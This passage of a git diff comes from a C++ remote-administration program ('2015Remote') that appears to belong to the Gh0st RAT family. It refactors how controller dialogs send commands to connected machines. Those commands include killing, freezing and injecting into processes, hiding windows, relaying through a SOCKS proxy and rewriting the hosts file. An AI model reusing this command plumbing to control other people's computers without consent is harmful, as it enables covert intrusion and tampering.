m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -2335,7 +2335,7 @@ void CFileManagerDlg::OnUncompress() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM; memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -2368,7 +2368,7 @@ void CFileManagerDlg::OnBtnSearch() LPBYTE lpBuffer = new BYTE[nPacketSize]; lpBuffer[0] = COMMAND_SEARCH_FILE; memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize); + m_ContextObject->Send2Client(lpBuffer, nPacketSize); SAFE_DELETE_AR(lpBuffer); // 设置按钮状态 m_BtnSearch.SetWindowText(_T("正在搜索...")); @@ -2441,7 +2441,7 @@ void CFileManagerDlg::OnBnClickedSearchStop() GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE); // TODO: Add your command handler code here BYTE bToken = COMMAND_FILES_SEARCH_STOP; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); } //显示搜索结果 diff --git a/server/2015Remote/proxy/ProxyConnectServer.cpp b/server/2015Remote/proxy/ProxyConnectServer.cpp index d1a41a0..933af88 100644 --- a/server/2015Remote/proxy/ProxyConnectServer.cpp +++ b/server/2015Remote/proxy/ProxyConnectServer.cpp @@ -61,7 +61,7 @@ EnHandleResult CProxyConnectServer::OnAccept(ITcpServer* pSender, CONNID dwConnI if (pContext == NULL) return HR_ERROR; - pContext->InitMember(dwConnID); + pContext->InitMember(dwConnID, nullptr); pContext->m_Socket = dwConnID; char szAddress[64] = {}; int iAddressLen = sizeof(szAddress); diff --git a/server/2015Remote/proxy/ProxyMapDlg.cpp b/server/2015Remote/proxy/ProxyMapDlg.cpp index a61c4d4..87c4f95 100644 --- a/server/2015Remote/proxy/ProxyMapDlg.cpp +++ b/server/2015Remote/proxy/ProxyMapDlg.cpp @@ -114,7 +114,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT BYTE lpData[5] = ""; lpData[0] = COMMAND_PROXY_CLOSE; memcpy(lpData + 1, &index, sizeof(DWORD)); - g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, lpData, 5); + g_pProxyMap->m_ContextObject->Send2Client(lpData, 5); } wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index); break; @@ -122,7 +122,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT break; case NC_RECEIVE: if (pContext->m_bProxyConnected == 2) { - g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0), + g_pProxyMap->m_ContextObject->Send2Client(pContext->InDeCompressedBuffer.GetBuffer(0), pContext->InDeCompressedBuffer.GetBufferLength()); wsprintf(szMsg, _T("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5); } else if (pContext->m_bProxyConnected == 0) { @@ -139,7 +139,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT buf[0] = COMMAND_PROXY_CONNECT; // 1个字节 ip v4 连接 memcpy(buf + 1, &index, 4); // 四个字节 套接字的编号 memcpy(buf + 5, lpData + 4, 6); // 4字节ip 2字节端口 - g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, buf, sizeof(buf)); + g_pProxyMap->m_ContextObject->Send2Client(buf, sizeof(buf)); in_addr inaddr = {}; inaddr.s_addr = *(DWORD*)(buf + 5); char szmsg1[MAX_PATH]; @@ -152,7 +152,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN); memcpy(HostName + 1, &index, 4); memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2); - g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8); + g_pProxyMap->m_ContextObject->Send2Client(HostName, Socks5Request->IP_LEN + 8); SAFE_DELETE_ARRAY(HostName); wsprintf(szMsg, _T("域名 连接 %d \r\n"), index); } else if (lpData[3] == 4) { //ipv6 diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp index d4dd620..9fc0f1a 100644 --- a/server/2015Remote/sys/MachineDlg.cpp +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -163,7 +163,7 @@ BOOL CMachineDlg::OnInitDialog() AdjustList(); BYTE lpBuffer = COMMAND_MACHINE_PROCESS; - m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&lpBuffer, 1); + m_ContextObject->Send2Client((LPBYTE)&lpBuffer, 1); return TRUE; } @@ -333,7 +333,7 @@ void CMachineDlg::reflush() int nID = m_tab.GetCurSel(); DeleteList(); BYTE TOKEN = MachineManager(nID); - m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&TOKEN, 1); + m_ContextObject->Send2Client((LPBYTE)&TOKEN, 1); } @@ -769,8 +769,6 @@ void CMachineDlg::OpenInfoDlg() return; CServiceInfoDlg pDlg(this); - - pDlg.m_iocpServer = m_iocpServer; pDlg.m_ContextObject = m_ContextObject; pDlg.m_ServiceInfo.strSerName = m_list.GetItemText(nItem, 6); @@ -800,7 +798,7 @@ void CMachineDlg::SendToken(BYTE bToken) lpBuffer[0] = bToken; memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength); + m_ContextObject->Send2Client(lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -878,7 +876,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_KILLDEL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -891,7 +889,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_KILL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -904,7 +902,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_FREEZING; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -917,7 +915,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_THAW; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -930,7 +928,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_DEL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -967,7 +965,7 @@ void CMachineDlg::ShowProcessList_menu() DWORD wr = 0; ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL); CloseHandle(hFile); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, allsize); + m_ContextObject->Send2Client(lpBuffer, allsize); SAFE_DELETE_AR(lpBuffer); } SAFE_DELETE(p_InjectData); @@ -1041,7 +1039,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_RESTORE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1056,7 +1054,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_HIDE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1070,7 +1068,7 @@ void CMachineDlg::ShowWindowsList_menu() DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); m_list.SetItemText(nItem, 3, _T("发送关闭命令")); memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1085,7 +1083,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_MAXIMIZE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1100,7 +1098,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_MINIMIZE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); + m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1114,7 +1112,7 @@ void CMachineDlg::ShowWindowsList_menu() pid = m_list.GetItemText(nItem, 0); DWORD dwProcessID = _tstoi(pid); memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1129,7 +1127,7 @@ void CMachineDlg::ShowWindowsList_menu() pid = m_list.GetItemText(nItem, 0); DWORD dwProcessID = _tstoi(pid); memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1144,7 +1142,7 @@ void CMachineDlg::ShowWindowsList_menu() pid = m_list.GetItemText(nItem, 0); DWORD dwProcessID = _tstoi(pid); memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1201,7 +1199,7 @@ void CMachineDlg::ShowNetStateList_menu() lpBuffer[0] = COMMAND_PROCESS_KILL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); + m_ContextObject->Send2Client(lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1270,7 +1268,7 @@ void CMachineDlg::ShowSoftWareList_menu() LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()]; lpBuffer[0] = COMMAND_APPUNINSTALL; memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength()); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, str_a.GetLength() + 1); + m_ContextObject->Send2Client(lpBuffer, str_a.GetLength() + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1366,7 +1364,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); offset += lstrlen(taskname.GetBuffer()) * 2 + 2; - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength); + m_ContextObject->Send2Client(lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -1394,7 +1392,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); offset += lstrlen(taskname.GetBuffer()) * 2 + 2; - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength); + m_ContextObject->Send2Client(lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -1422,7 +1420,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); offset += lstrlen(taskname.GetBuffer()) * 2 + 2; - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength); + m_ContextObject->Send2Client(lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -1454,7 +1452,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2); offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2; - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, len); + m_ContextObject->Send2Client(lpBuffer, len); LocalFree(lpBuffer); } @@ -1465,7 +1463,7 @@ void CMachineDlg::ShowTaskList_menu() break; case 104: { BYTE bToken = COMMAND_MACHINE_TASK; - m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); + m_ContextObject->Send2Client(&bToken, 1); } break; } @@ -1560,7 +1558,7 @@ void CMachineDlg::ShowServiceList_menu() bToken = COMMAND_SERVICE_LIST_WIN32; else bToken = COMMAND_SERVICE_LIST_DRIVER; - m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE)); + m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); } break; case 700: @@ -1630,7 +1628,7 @@ void CMachineDlg::ShowHostsList_menu() LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()]; lpBuffer[0] = COMMAND_HOSTS_SET; memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength()); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, Data_a.GetLength() + 1); + m_ContextObject->Send2Client(lpBuffer, Data_a.GetLength() + 1); SAFE_DELETE_AR(lpBuffer); } break; diff --git a/server/2015Remote/sys/ServiceInfoDlg.cpp b/server/2015Remote/sys/ServiceInfoDlg.cpp index 4156035..feede4d 100644 --- a/server/2015Remote/sys/ServiceInfoDlg.cpp +++ b/server/2015Remote/sys/ServiceInfoDlg.cpp @@ -82,7 +82,7 @@ void CServiceInfoDlg::SendToken(BYTE bToken) lpBuffer[0] = bToken; memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength()); - m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength); + m_ContextObject->Send2Client(lpBuffer, nPacketLength); LocalFree(lpBuffer); } diff --git a/server/2015Remote/sys/ServiceInfoDlg.h b/server/2015Remote/sys/ServiceInfoDlg.h index f738281..1b65dfa 100644 --- a/server/2015Remote/sys/ServiceInfoDlg.h +++ b/server/2015Remote/sys/ServiceInfoDlg.h @@ -19,7 +19,6 @@ public: CServiceInfoDlg(CWnd* pParent = NULL); ClientContext* m_ContextObject; - Server* m_iocpServer; enum { IDD = IDD_SERVICE_INFO }; CComboBox m_combox_runway;